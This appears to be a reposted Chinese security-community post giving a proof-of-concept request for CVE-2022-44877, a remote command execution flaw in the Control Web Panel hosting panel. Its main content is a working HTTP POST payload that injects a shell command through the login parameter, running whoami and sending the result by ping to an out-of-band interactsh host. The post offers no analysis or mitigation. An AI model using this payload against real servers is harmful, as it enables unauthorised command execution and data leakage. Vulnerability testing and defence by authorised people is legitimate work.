Control Web Panel Linux 虚拟主机控制面板 RCE CVE-2022-44877
Control Web Panel Linux 虚拟主机控制面板 RCE CVE-2022-44877
Khan安全团队
发布于 2023-02-23 14:41:33
发布于 2023-02-23 14:41:33
POC:
POST /login/index.php?login=$(ping${IFS}-nc${IFS}2${IFS}`whoami`.{{interactsh-url}}) HTTP/1.1
Host: vuln
Content-Type: application/x-www-form-urlencoded
username=root&password=toor&commit=Login本文参与 腾讯云自媒体同步曝光计划，分享自微信公众号。
原始发表：2023-01-28，如有侵权请联系 cloudcommunity@tencent.com 删除
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号